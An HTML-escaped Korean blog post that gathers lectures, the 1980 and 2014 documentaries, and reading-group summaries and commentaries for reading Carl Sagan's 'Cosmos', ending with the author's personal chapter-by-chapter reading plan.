&lt;p data-ke-size=&quot;size16&quot;&gt;EBS 클래스e 교양 강의로, 천문학자 이명현 박사가 『코스모스』를 챕터 흐름에 맞게 풀어주는 시리즈입니다. &lt;a href=&quot;https://www.youtube.com/watch?v=NGOnU2j5_DU&quot;&gt;youtube&lt;/a&gt;&lt;br /&gt;책을 읽기 전에 1강만 봐도 &amp;ldquo;왜 이 책이 지금도 중요한가&amp;rdquo;라는 감이 잡혀서, 이번 독서의 좋은 워밍업이 됩니다. &lt;a href=&quot;https://www.youtube.com/watch?v=D7KRbbDCaxI&quot;&gt;youtube&lt;/a&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;활용 팁: 각 장을 읽기 전에 해당 강의를 한 편 보고 들어가면, 핵심 포인트를 머릿속에 프레임으로 깔고 읽을 수 있습니다. &lt;a href=&quot;https://www.youtube.com/watch?v=NGOnU2j5_DU&quot;&gt;youtube&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;figure data-ke-type=&quot;video&quot; data-ke-style=&quot;alignCenter&quot; data-video-host=&quot;youtube&quot; data-video-url=&quot;https://www.youtube.com/watch?v=NGOnU2j5_DU&quot; data-video-thumbnail=&quot;https://scrap.kakaocdn.net/dn/sizwZ/dJMb8WMtf0r/K89JEBycNyTkEUAsHlKeE0/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=354_138_544_344,https://scrap.kakaocdn.net/dn/gPjJu/dJMb8UHSOR6/juKudBkWwKX1s8hCkV4Bz0/img.jpg?width=1280&amp;amp;height=720&amp;amp;face=354_138_544_344&quot; data-video-width=&quot;860&quot; data-video-height=&quot;484&quot; data-video-origin-width=&quot;860&quot; data-video-origin-height=&quot;484&quot; data-ke-mobilestyle=&quot;widthContent&quot; data-video-title=&quot;EBSCulture (EBS 교양)&quot; data-original-url=&quot;&quot;&gt;&lt;iframe src=&quot;https://www.youtube.com/embed/NGOnU2j5_DU&quot; width=&quot;860&quot; height=&quot;484&quot; frameborder=&quot;&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;
&lt;figcaption style=&quot;display: none;&quot;&gt;&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 원작 다큐멘터리 시리즈 (1980년판)&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=W9dptug4wzY&quot;&gt;Cosmos: A Personal Voyage 1부 &amp;ndash; The Shores of the Cosmic Ocean (YouTube)&lt;/a&gt; &lt;a href=&quot;https://www.youtube.com/watch?v=W9dptug4wzY&quot;&gt;youtube&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PLB5CA6AF3C067115B&quot;&gt;에피소드 1&amp;ndash;13 전체 플레이리스트&lt;/a&gt; &lt;a href=&quot;https://www.youtube.com/playlist?list=PLB5CA6AF3C067115B&quot;&gt;youtube&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;책과 거의 동시에 제작된 13부작 다큐멘터리로, 칼 세이건이 직접 진행하는 전설적인 시리즈입니다. &lt;a href=&quot;https://www.youtube.com/watch?v=ZyWof1QozGE&quot;&gt;youtube&lt;/a&gt;&lt;br /&gt;텍스트로만 읽으면 머릿속에 그리기 어려운 우주 스케일, 행성&amp;middot;은하&amp;middot;별의 이미지들이 영상으로 생생하게 들어옵니다. &lt;a href=&quot;https://www.youtube.com/watch?v=ZyWof1QozGE&quot;&gt;youtube&lt;/a&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;추천 순서:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;1장 &amp;ldquo;코스모스의 바닷가에서&amp;rdquo;를 읽기 전후로 1화를 함께 보면, 책의 첫 장이 훨씬 부드럽게 들어옵니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1777818638718&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Cosmos - Carl Sagan Episodes 1-13&quot; data-og-description=&quot;A lesson to be learned, beauty to be discovered.&quot; data-og-host=&quot;www.youtube.com&quot; data-og-source-url=&quot;https://www.youtube.com/playlist?list=PLB5CA6AF3C067115B&quot; data-og-url=&quot;http://www.youtube.com/playlist?list=PLB5CA6AF3C067115B&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/hhPS6/dJMb9frI5at/o7fVXnpkhawYu5pOUdRLS1/img.jpg?width=480&amp;amp;height=270&amp;amp;face=176_19_283_136,https://scrap.kakaocdn.net/dn/cr5Ddo/dJMb9iaULDZ/y1xgFXoSRCiJR2hoqTKlc1/img.jpg?width=480&amp;amp;height=270&amp;amp;face=176_19_283_136,https://scrap.kakaocdn.net/dn/bSKFPD/dJMb89yhfcz/YKluSRaeVsYMSYIcokPFy0/img.jpg?width=480&amp;amp;height=270&amp;amp;face=176_19_283_136&quot;&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PLB5CA6AF3C067115B&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.youtube.com/playlist?list=PLB5CA6AF3C067115B&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/hhPS6/dJMb9frI5at/o7fVXnpkhawYu5pOUdRLS1/img.jpg?width=480&amp;amp;height=270&amp;amp;face=176_19_283_136,https://scrap.kakaocdn.net/dn/cr5Ddo/dJMb9iaULDZ/y1xgFXoSRCiJR2hoqTKlc1/img.jpg?width=480&amp;amp;height=270&amp;amp;face=176_19_283_136,https://scrap.kakaocdn.net/dn/bSKFPD/dJMb89yhfcz/YKluSRaeVsYMSYIcokPFy0/img.jpg?width=480&amp;amp;height=270&amp;amp;face=176_19_283_136');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Cosmos - Carl Sagan Episodes 1-13&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;A lesson to be learned, beauty to be discovered.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.youtube.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 리메이크 다큐멘터리 링크 모음&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.naver.com/msnayana/221227300034&quot;&gt;블로그 &amp;ndash; 코스모스 13부작 (1부~6부) 정리&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.naver.com/msnayana/221231040655&quot;&gt;블로그 &amp;ndash; 코스모스 13부작 (7부~13부) 정리&lt;/a&gt; &lt;a href=&quot;https://blog.naver.com/senalee8/221735797838&quot;&gt;blog.naver&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2014년 리메이크 시리즈인 「Cosmos: A Spacetime Odyssey」 관련 링크와 에피소드별 안내를 모아 둔 블로그 글입니다. &lt;a href=&quot;https://blog.naver.com/PostView.naver?blogId=ssvg5306&amp;amp;logNo=223814981345&quot;&gt;blog.naver&lt;/a&gt;&lt;br /&gt;원작 1980년판과 리메이크 버전을 함께 보면, &amp;ldquo;1980년대 과학 vs 21세기 과학&amp;rdquo;의 차이도 자연스럽게 느낄 수 있습니다. &lt;a href=&quot;https://blog.naver.com/PostView.naver?blogId=ssvg5306&amp;amp;logNo=223814981345&quot;&gt;blog.naver&lt;/a&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;활용 팁:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;원작 1~2편을 먼저 보고, 리메이크의 같은 번호 에피소드를 나중에 비교해서 보는 것도 좋습니다. &lt;a href=&quot;https://blog.naver.com/senalee8/221735797838&quot;&gt;blog.naver&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;figure id=&quot;og_1777818647685&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;코스모스 다큐멘터리 1~13부.&quot; data-og-description=&quot;칼 세이건 코스모스 1부 : 광활한 우주에서 나는 어떤 존재인가? 칼 세이건 코스모스 2화 - 우주 생명의 푸...&quot; data-og-host=&quot;blog.naver.com&quot; data-og-source-url=&quot;https://blog.naver.com/senalee8/221735797838&quot; data-og-url=&quot;https://blog.naver.com/senalee8/221735797838&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/MYd3M/dJMb9frI5al/mM2jyo9JJ3ylmoz3RzKyb0/img.png?width=270&amp;amp;height=270&amp;amp;face=0_0_270_270&quot;&gt;&lt;a href=&quot;https://blog.naver.com/senalee8/221735797838&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://blog.naver.com/senalee8/221735797838&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/MYd3M/dJMb9frI5al/mM2jyo9JJ3ylmoz3RzKyb0/img.png?width=270&amp;amp;height=270&amp;amp;face=0_0_270_270');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;코스모스 다큐멘터리 1~13부.&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;칼 세이건 코스모스 1부 : 광활한 우주에서 나는 어떤 존재인가? 칼 세이건 코스모스 2화 - 우주 생명의 푸...&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;blog.naver.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. 기타 영상 자료 모음&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://greenacademy.re.kr/%EB%85%B9%EC%83%89%EB%AC%B8%EB%AA%85%EA%B3%B5%EB%B6%80%EB%AA%A8%EC%9E%84?mod=document&amp;amp;uid=1248&quot;&gt;녹색문명공부모임 &amp;ndash; 「Cosmos」 다큐(2014, 1980) 영상보기 링크 정리&lt;/a&gt; &lt;a href=&quot;https://www.yahoo.com/news/carl-sagan-scientific-legacy-extends-134411767.html&quot;&gt;yahoo&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;독서 모임에서 정리한 코스모스 다큐 링크 모음입니다. &lt;a href=&quot;https://www.yahoo.com/news/carl-sagan-scientific-legacy-extends-134411767.html&quot;&gt;yahoo&lt;/a&gt;&lt;br /&gt;1980년판과 2014년판 주요 회차를 한 번에 찾을 수 있어서, 영상 위주로 먼저 훑어보고 싶은 분들에게 유용합니다. &lt;a href=&quot;https://www.yahoo.com/news/carl-sagan-scientific-legacy-extends-134411767.html&quot;&gt;yahoo&lt;/a&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;5. 한국어 텍스트 해설&amp;middot;요약 자료&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5-1. 요약본으로 전체 구조 먼저 훑어보기&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://brunch.co.kr/@0070kky/839&quot;&gt;브런치 &amp;ndash; 칼 세이건의 《코스모스》 요약 정리&lt;/a&gt; &lt;a href=&quot;https://blog.naver.com/away_wego/222217508635&quot;&gt;blog.naver&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;figure id=&quot;og_1777818668689&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;[코스모스 / 칼세이건] 독서노트 정리 내용을 또 정리...  #미료의 독서노트&quot; data-og-description=&quot;1일차, 떨리는 마음으로 첫 챕터를 읽었다. 은하와 행성과 별과 혜성의 차이도 잘 몰랐던 나여. 코스모스가...&quot; data-og-host=&quot;blog.naver.com&quot; data-og-source-url=&quot;https://blog.naver.com/away_wego/222217508635&quot; data-og-url=&quot;https://blog.naver.com/away_wego/222217508635&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/cWVoxW/dJMb9eTTgfY/Oc0EAEFtD13gy4Wxs4yycK/img.jpg?width=743&amp;amp;height=557&amp;amp;face=0_0_743_557&quot;&gt;&lt;a href=&quot;https://blog.naver.com/away_wego/222217508635&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://blog.naver.com/away_wego/222217508635&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/cWVoxW/dJMb9eTTgfY/Oc0EAEFtD13gy4Wxs4yycK/img.jpg?width=743&amp;amp;height=557&amp;amp;face=0_0_743_557');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[코스모스 / 칼세이건] 독서노트 정리 내용을 또 정리... #미료의 독서노트&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;1일차, 떨리는 마음으로 첫 챕터를 읽었다. 은하와 행성과 별과 혜성의 차이도 잘 몰랐던 나여. 코스모스가...&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;blog.naver.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;독서모임에서 함께 공부하며 정리한 요약본으로, 장별 핵심 내용과 인상적인 부분을 깔끔하게 모아놓은 글입니다. &lt;a href=&quot;https://blog.naver.com/away_wego/222217508635&quot;&gt;blog.naver&lt;/a&gt;&lt;br /&gt;6장은 누락, 11장 이후는 소제목&amp;middot;쪽수 중심이지만, 전체 흐름을 미리 파악하는 용도로는 충분합니다. &lt;a href=&quot;https://blog.naver.com/away_wego/222217508635&quot;&gt;blog.naver&lt;/a&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;활용 팁:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;본격적으로 읽기 전에 이 글로 전체 구조를 한 번 훑고 들어가면, 각 챕터의 &amp;ldquo;자리&amp;rdquo;가 어디인지 감이 잡힙니다. &lt;a href=&quot;https://blog.naver.com/away_wego/222217508635&quot;&gt;blog.naver&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5-2. 챕터별 심화 해설&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://brunch.co.kr/brunchbook/cosmos-jara&quot;&gt;브런치북 &amp;ndash; 코스모스 챕터별 해설 (천문학도 김자라)&lt;/a&gt; &lt;a href=&quot;https://brunch.co.kr/brunchbook/cosmos-jara&quot;&gt;brunch.co&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;figure id=&quot;og_1777818669494&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;[브런치북] 코스모스 챕터별 해설&quot; data-og-description=&quot;천문학도 김자라와 함께 읽는 '코스모스'! 칼 세이건의 코스모스를 챕터별로 해설하는 글입니다. 이 내용은 2025.12~2026.02 동안 동명의 메일로 연재되었습니다.&quot; data-og-host=&quot;brunch.co.kr&quot; data-og-source-url=&quot;https://brunch.co.kr/brunchbook/cosmos-jara&quot; data-og-url=&quot;https://brunch.co.kr/brunchbook/cosmos-jara&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bLs2V9/dJMb9cBLHuQ/GAsNbifpJLrBEeABuJBJSk/img.jpg?width=300&amp;amp;height=495&amp;amp;face=0_0_300_495,https://scrap.kakaocdn.net/dn/XbnQK/dJMb9jgAWoY/8QhCbqqFfhhMmzkLJYfUCK/img.jpg?width=500&amp;amp;height=500&amp;amp;face=0_0_500_500&quot;&gt;&lt;a href=&quot;https://brunch.co.kr/brunchbook/cosmos-jara&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://brunch.co.kr/brunchbook/cosmos-jara&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bLs2V9/dJMb9cBLHuQ/GAsNbifpJLrBEeABuJBJSk/img.jpg?width=300&amp;amp;height=495&amp;amp;face=0_0_300_495,https://scrap.kakaocdn.net/dn/XbnQK/dJMb9jgAWoY/8QhCbqqFfhhMmzkLJYfUCK/img.jpg?width=500&amp;amp;height=500&amp;amp;face=0_0_500_500');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[브런치북] 코스모스 챕터별 해설&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;천문학도 김자라와 함께 읽는 '코스모스'! 칼 세이건의 코스모스를 챕터별로 해설하는 글입니다. 이 내용은 2025.12~2026.02 동안 동명의 메일로 연재되었습니다.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;brunch.co.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;천문학 전공자가 챕터별로 해설해 둔 연재물입니다. &lt;a href=&quot;https://brunch.co.kr/@bookbookjara/53&quot;&gt;brunch.co&lt;/a&gt;&lt;br /&gt;원문이 다루지 않는 현대 천문학 내용과, 세이건의 문장을 어떻게 이해하면 좋은지에 대한 &amp;lsquo;한국어 해설서&amp;rsquo; 역할을 해 줍니다. &lt;a href=&quot;https://brunch.co.kr/brunchbook/cosmos-jara&quot;&gt;brunch.co&lt;/a&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;활용 팁:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;책의 한 챕터를 다 읽은 뒤, 해당 챕터 해설을 읽으면서 &amp;ldquo;내가 이해한 것 vs 해설자의 시선&amp;rdquo;을 비교해 보는 용도로 좋습니다. &lt;a href=&quot;https://brunch.co.kr/@bookbookjara/53&quot;&gt;brunch.co&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;6. 나의 『코스모스』 도서 읽기 플랜&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에는 &amp;ldquo;책&amp;ndash;영상&amp;ndash;해설&amp;rdquo;을 한 번에 묶어서 읽어보려고, 다음과 같이 플랜을 세웠습니다. &lt;a href=&quot;https://www.youtube.com/watch?v=D7KRbbDCaxI&quot;&gt;youtube&lt;/a&gt;&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;프롤로그&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;클래스e 1강(이명현) 시청 &amp;rarr; 코스모스가 어떤 책인지, 어떤 태도로 읽을지 감 잡기. &lt;a href=&quot;https://www.youtube.com/watch?v=NGOnU2j5_DU&quot;&gt;youtube&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;각 챕터 읽기 루틴&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;① 『코스모스』 해당 장 1차 독서&lt;/li&gt;
&lt;li&gt;② 필요하면 1980년판 다큐에서 같은 주제의 에피소드 시청&lt;/li&gt;
&lt;li&gt;③ 브런치/브런치북 해설로 개념 재정리, 현대 과학 관점에서 업데이트된 내용 체크 &lt;a href=&quot;https://brunch.co.kr/@bookbookjara/44&quot;&gt;brunch.co&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;기록 남기기&lt;/b&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;티스토리에 챕터별로 &amp;ldquo;오늘의 문장 1개 + 떠오른 생각 2~3줄&amp;rdquo; 형식으로 간단한 독서노트 기록&lt;/li&gt;
&lt;li&gt;나중에 마음에 드는 챕터를 골라 유튜브 쇼츠용 30초 요약으로 재가공할 계획입니다. &lt;a href=&quot;https://brunch.co.kr/@71shine/13&quot;&gt;brunch.co&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 해두면 『코스모스』 한 권 읽는 경험이&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;책 읽기 &amp;rarr; 영상 감상 &amp;rarr; 현대 해설 &amp;rarr; 나만의 정리&lt;br /&gt;까지 자연스럽게 이어져서, 단순히 &amp;ldquo;완독했다&amp;rdquo;를 넘어 &amp;ldquo;세계관이 한 번 재정비되는 경험&amp;rdquo;이 될 것 같다고 기대하고 있습니다. &lt;a href=&quot;https://en.wikipedia.org/wiki/Cosmos_(Sagan_book)&quot;&gt;en.wikipedia&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;관련 영상 먼저보기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) 한글 이명헌 칼 세이건의 코스모스 : &lt;a href=&quot;https://www.youtube.com/watch?v=D7KRbbDCaxI&amp;amp;list=PLpuzWnAKjQgBMLYQ-GP-dp0TvHC7aBgvq&amp;amp;index=1&quot;&gt;https://www.youtube.com/watch?v=D7KRbbDCaxI&amp;amp;list=PLpuzWnAKjQgBMLYQ-GP-dp0TvHC7aBgvq&amp;amp;index=1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;iframe src=&quot;https://www.youtube.com/embed/D7KRbbDCaxI&quot; width=&quot;860&quot; height=&quot;484&quot; frameborder=&quot;&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) 코스모스 다큐멘터리 1980&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=W9dptug4wzY&amp;amp;list=PLWTsw1mh-VO9gWKnT7EhbbwpI2g7e1NoY&quot;&gt;https://www.youtube.com/watch?v=W9dptug4wzY&amp;amp;list=PLWTsw1mh-VO9gWKnT7EhbbwpI2g7e1NoY&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;iframe src=&quot;https://www.youtube.com/embed/W9dptug4wzY&quot; width=&quot;860&quot; height=&quot;484&quot; frameborder=&quot;&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3) 코스모스 다큐멘터리&lt;br /&gt;&lt;a href=&quot;https://blog.naver.com/msnayana/221227300034&quot;&gt;https://blog.naver.com/msnayana/221227300034&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[코스모스 13부작 (1부~6부)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코스모스( Cosmos ~ a spacetime odyssey) 13부작 다큐멘터리로 칼세이건의 출연작 1980년작품의 리메이크...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;blog.naver.com](&lt;a href=&quot;https://blog.naver.com/msnayana/221227300034&quot;&gt;https://blog.naver.com/msnayana/221227300034&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://blog.naver.com/msnayana/221231040655&quot;&gt;https://blog.naver.com/msnayana/221231040655&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[코스모스 13부작 (7부~13부)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코스모스( Cosmos ~ a spacetime odyssey) 13부작 다큐멘터리로 칼세이건의 출연작 1980년작품의 리메이크...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;blog.naver.com](&lt;a href=&quot;https://blog.naver.com/msnayana/221231040655&quot;&gt;https://blog.naver.com/msnayana/221231040655&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-기타 영상 자료&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://greenacademy.re.kr/%EB%85%B9%EC%83%89%EB%AC%B8%EB%AA%85%EA%B3%B5%EB%B6%80%EB%AA%A8%EC%9E%84?mod=document&amp;amp;uid=1248&quot;&gt;https://greenacademy.re.kr/%EB%85%B9%EC%83%89%EB%AC%B8%EB%AA%85%EA%B3%B5%EB%B6%80%EB%AA%A8%EC%9E%84?mod=document&amp;amp;uid=1248&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[[자료] 「Cosmos」 다큐(2014, 1980) 영상보기 링크&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2025년 1월 8일에 새로 시작하는 책새벽-수에서는 칼 세이건의 『Cosmos』를 영문책으로 읽습니다. (게시판 카테고리에서 『Cosmos』 영문책 읽기는 '책새벽-수2'를 사용해주세요.)코스모스는 다큐&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;greenacademy.re.kr](&lt;a href=&quot;https://greenacademy.re.kr/%EB%85%B9%EC%83%89%EB%AC%B8%EB%AA%85%EA%B3%B5%EB%B6%80%EB%AA%A8%EC%9E%84?mod=document&amp;amp;uid=1248&quot;&gt;https://greenacademy.re.kr/%EB%85%B9%EC%83%89%EB%AC%B8%EB%AA%85%EA%B3%B5%EB%B6%80%EB%AA%A8%EC%9E%84?mod=document&amp;amp;uid=1248&lt;/a&gt;)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4) 한국 브런치 읽기 : &lt;a href=&quot;https://brunch.co.kr/@0070kky/839&quot;&gt;https://brunch.co.kr/@0070kky/839&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;[칼 세이건의 《코스모스》 요약 정리&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;칼 세이건의 《코스모스》를 함께 공부하면서 요약정리한 부분을 공유합니다. 6장은 누락되어 있고, 11장부터는 소제목과 쪽수만 기록해 놓았지만 그래도 100쪽 안팎되는 정리자료입니다. 판매&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;brunch.co.kr](&lt;a href=&quot;https://brunch.co.kr/@0070kky/839&quot;&gt;https://brunch.co.kr/@0070kky/839&lt;/a&gt;)&lt;/p&gt;
